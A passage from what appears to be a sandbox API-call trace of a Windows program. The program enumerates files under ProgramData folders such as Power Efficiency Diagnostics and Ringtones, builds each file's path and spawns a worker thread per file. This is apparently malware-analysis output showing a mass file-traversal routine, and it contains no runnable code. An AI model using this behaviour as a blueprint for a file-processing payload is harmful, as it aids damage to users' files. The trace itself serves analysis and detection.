lpFindFileData=0x485e50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f828940, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x2b0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-ntkl.etl", cAlternateFileName="ENERGY~2.ETL")) returned 1 [0051.192] wcscmp (_String1="energy-ntkl.etl", _String2=".") returned 1 [0051.192] wcscmp (_String1="energy-ntkl.etl", _String2="..") returned 1 [0051.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43da80 [0051.192] wcscpy (in: _Dest=0x43da80, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0051.192] wcscat (in: _Dest=0x43da80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0051.192] wcscat (in: _Dest=0x43da80, _Source="energy-ntkl.etl" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" [0065.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43da80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0065.835] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9bd2ca0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9bd2ca0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xd9bd2ca0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x7122, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-12.xml", cAlternateFileName="ENERGY~2.XML")) returned 1 [0065.835] wcscmp (_String1="energy-report-2017-07-12.xml", _String2=".") returned 1 [0065.835] wcscmp (_String1="energy-report-2017-07-12.xml", _String2="..") returned 1 [0065.835] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02a20 [0065.835] wcscpy (in: _Dest=0x5e02a20, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0065.835] wcscat (in: _Dest=0x5e02a20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0065.835] wcscat (in: _Dest=0x5e02a20, _Source="energy-report-2017-07-12.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" [0065.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1690 [0065.836] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e53620, ftCreationTime.dwHighDateTime=0x1d305f5, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-26.xml", cAlternateFileName="ENERGY~3.XML")) returned 1 [0065.836] wcscmp (_String1="energy-report-2017-07-26.xml", _String2=".") returned 1 [0065.836] wcscmp (_String1="energy-report-2017-07-26.xml", _String2="..") returned 1 [0065.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e025a0 [0065.836] wcscpy (in: _Dest=0x5e025a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0065.836] wcscat (in: _Dest=0x5e025a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0065.836] wcscat (in: _Dest=0x5e025a0, _Source="energy-report-2017-07-26.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" [0065.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e025a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1694 [0065.838] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9b145c0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9b145c0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-latest.xml", cAlternateFileName="ENERGY~1.XML")) returned 1 [0065.838] wcscmp (_String1="energy-report-latest.xml", _String2=".") returned 1 [0065.838] wcscmp (_String1="energy-report-latest.xml", _String2="..") returned 1 [0065.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c4c0 [0065.838] wcscpy (in: _Dest=0x45c4c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0065.838] wcscat (in: _Dest=0x45c4c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0065.838] wcscat (in: _Dest=0x45c4c0, _Source="energy-report-latest.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" [0065.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698 [0065.839] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c91380, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9c91380, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x812c9f60, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x41f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report.html", cAlternateFileName="ENERGY~1.HTM")) returned 1 [0065.839] wcscmp (_String1="energy-report.html", _String2=".") returned 1 [0065.839] wcscmp (_String1="energy-report.html", _String2="..") returned 1 [0065.839] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x443a10 [0065.839] wcscpy (in: _Dest=0x443a10, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0065.839] wcscat (in: _Dest=0x443a10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0065.839] wcscat (in: _Dest=0x443a10, _Source="energy-report.html" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" [0065.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x443a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x169c [0065.840] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="ENERGY~1.ETL")) returned 1 [0065.840] wcscmp (_String1="energy-trace.etl", _String2=".") returned 1 [0065.840] wcscmp (_String1="energy-trace.etl", _String2="..") returned 1 [0065.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43de70 [0065.840] wcscpy (in: _Dest=0x43de70, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0065.840] wcscat (in: _Dest=0x43de70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0065.840] wcscat (in: _Dest=0x43de70, _Source="energy-trace.etl" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" [0065.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a0 [0065.842] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-trace.etl", cAlternateFileName="ENERGY~1.ETL")) returned 0 [0065.842] FindClose (hFindFile=0x4401a0) Thread: id = 261 os_tid = 0x87c [0046.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x4462c0 [0046.860] wcscpy (in: _Dest=0x4462c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0046.860] wcscat (in: _Dest=0x4462c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0046.860] wcscat (in: _Dest=0x4462c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*" [0046.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4860b8 [0046.861] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440220 [0051.191] wcscmp (_String1=".", _String2=".") returned 0 [0051.191] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.191] wcscmp (_String1="..", _String2=".") returned 1 [0051.191] wcscmp (_String1="..", _String2="..") returned 0 [0051.191] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0051.191] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0051.192] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0051.192] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31469, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 01.wma", cAlternateFileName="RINGTO~3.WMA")) returned 1 [0051.192] wcscmp (_String1="Ringtone 01.wma", _String2=".") returned 1 [0051.192] wcscmp (_String1="Ringtone 01.wma", _String2="..") returned 1 [0051.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e07a98 [0051.192] wcscpy (in: _Dest=0x12e07a98, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0051.192] wcscat (in: _Dest=0x12e07a98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0051.192] wcscat (in: _Dest=0x12e07a98, _Source="Ringtone 01.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" [0055.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64 [0055.603] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 02.wma", cAlternateFileName="RI5404~1.WMA")) returned 1 [0055.603] wcscmp (_String1="Ringtone 02.wma", _String2=".") returned 1 [0055.603] wcscmp (_String1="Ringtone 02.wma", _String2="..") returned 1 [0055.603] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400318 [0055.603] wcscpy (in: _Dest=0x400318, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.603] wcscat (in: _Dest=0x400318, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.603] wcscat (in: _Dest=0x400318, _Source="Ringtone 02.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" [0055.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc [0055.604] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 03.wma", cAlternateFileName="RI0FCF~1.WMA")) returned 1 [0055.604] wcscmp (_String1="Ringtone 03.wma", _String2=".") returned 1 [0055.604] wcscmp (_String1="Ringtone 03.wma", _String2="..") returned 1 [0055.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400398 [0055.604] wcscpy (in: _Dest=0x400398, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.604] wcscat (in: _Dest=0x400398, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.604] wcscat (in: _Dest=0x400398, _Source="Ringtone 03.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" [0055.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb8 [0055.605] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a039, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 04.wma", cAlternateFileName="RINGTO~4.WMA")) returned 1 [0055.605] wcscmp (_String1="Ringtone 04.wma", _String2=".") returned 1 [0055.605] wcscmp (_String1="Ringtone 04.wma", _String2="..") returned 1 [0055.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400798 [0055.605] wcscpy (in: _Dest=0x400798, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.605] wcscat (in: _Dest=0x400798, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.606] wcscat (in: _Dest=0x400798, _Source="Ringtone 04.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" [0055.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4 [0055.607] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 05.wma", cAlternateFileName="RINGTO~1.WMA")) returned 1 [0055.607] wcscmp (_String1="Ringtone 05.wma", _String2=".") returned 1 [0055.607] wcscmp (_String1="Ringtone 05.wma", _String2="..") returned 1 [0055.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x3ffd18 [0055.607] wcscpy (in: _Dest=0x3ffd18, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.607] wcscat (in: _Dest=0x3ffd18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.607] wcscat (in: _Dest=0x3ffd18, _Source="Ringtone 05.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" [0055.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3ffd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0 [0055.608] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 06.wma", cAlternateFileName="RIF0DC~1.WMA")) returned 1 [0055.608] wcscmp (_String1="Ringtone 06.wma", _String2=".") returned 1 [0055.608] wcscmp (_String1="Ringtone 06.wma", _String2="..") returned 1 [0055.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400d18 [0055.608] wcscpy (in: _Dest=0x400d18, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.608] wcscat (in: _Dest=0x400d18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.608] wcscat (in: _Dest=0x400d18, _Source="Ringtone 06.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" [0055.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdac [0055.609] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 07.wma", cAlternateFileName="RID564~1.WMA")) returned 1 [0055.609] wcscmp (_String1="Ringtone 07.wma", _String2=".") returned 1 [0055.609] wcscmp (_String1="Ringtone 07.wma", _String2="..") returned 1 [0055.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400618 [0055.609] wcscpy (in: _Dest=0x400618, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.610] wcscat (in: _Dest=0x400618, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.610] wcscat (in: _Dest=0x400618, _Source="Ringtone 07.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" [0055.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda8 [0055.611] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 08.wma", cAlternateFileName="RINGTO~2.WMA")) returned 1 [0055.611] wcscmp (_String1="Ringtone 08.wma", _String2=".") returned 1 [0055.611] wcscmp (_String1="Ringtone 08.wma", _String2="..") returned 1 [0055.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400598 [0055.611] wcscpy (in: _Dest=0x400598, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" 